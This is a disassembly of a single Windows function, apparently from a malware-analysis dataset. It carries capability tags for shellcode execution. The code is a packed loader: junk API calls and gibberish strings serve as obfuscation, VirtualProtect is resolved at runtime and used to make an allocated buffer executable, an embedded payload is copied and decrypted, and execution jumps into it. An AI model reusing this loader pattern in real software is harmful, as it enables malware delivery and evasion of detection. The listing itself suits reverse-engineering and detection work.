Function at 0x401780
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x423abb
call fcn.00422ac4
sub esp, 0x34
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
call esi
cmp edi, 0x207138
jg 0x4017ae
inc edi
cmp edi, 0x4f672
jl 0x401794
cmp dword [0x2be7a9c], 0x93
jne 0x401884
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push str.kojetedodadexuyederozaliv_cejonaritovajowacigep
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], ebx
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401ed0
fstp st(0)
push ebx
push ebx
call fcn.00401f24
push ebx
push ebx
call fcn.00402293
push ebx
call fcn.00402339
add esp, 0x24
push ebx
call fcn.00402348
pop ecx
push ebx
call fcn.004025da
mov eax, dword [0x4292b0]
add dword [0x2be7a9c], 0x1134b
push 0x425d2c
mov dword [0x2be88d8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x2be752c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2be7a9c]
mov dword [0x2be7520], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2be7a9c]
mov dword [0x2be7528], eax
push eax
call dword [0x2be7520]
mov edi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call esi
dec edi
jne 0x4018e3
mov eax, dword [0x2be7a9c]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
jbe 0x401952
mov eax, dword [0x2be88d8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2be7528]
mov byte [ecx + edi], al
mov eax, dword [0x2be7a9c]
cmp eax, 0x490
jne 0x40194d
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call esi
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [0x2be7a9c]
inc edi
cmp edi, eax
jb 0x4018ff
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x40198a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call esi
mov eax, dword [0x2be7a9c]
inc edi
cmp edi, 0x38681
jl 0x401954
mov ecx, dword [0x2be7528]
shr eax, 3
cmp eax, ebx
jbe 0x4019b0
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x4019a4
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x4019d1
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x60f4
mov eax, dword [ebp - 0x14]
add dword [0x2be7528], eax
inc esi
cmp esi, 0x674db
jl 0x4019b2
push 0x7b
pop esi
cmp dword [0x2be7a9c], 0x86
jne 0x401a2a
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.jusotocupibimayudevujo
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push str.nujinoxuhalihuhadugasiwujotizec_tacocu_volozewomibebafuhanatehegemexav_bujubixozadigabaf_pexapenuvulurokale
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec esi
jne 0x4019dd
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2be7528]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret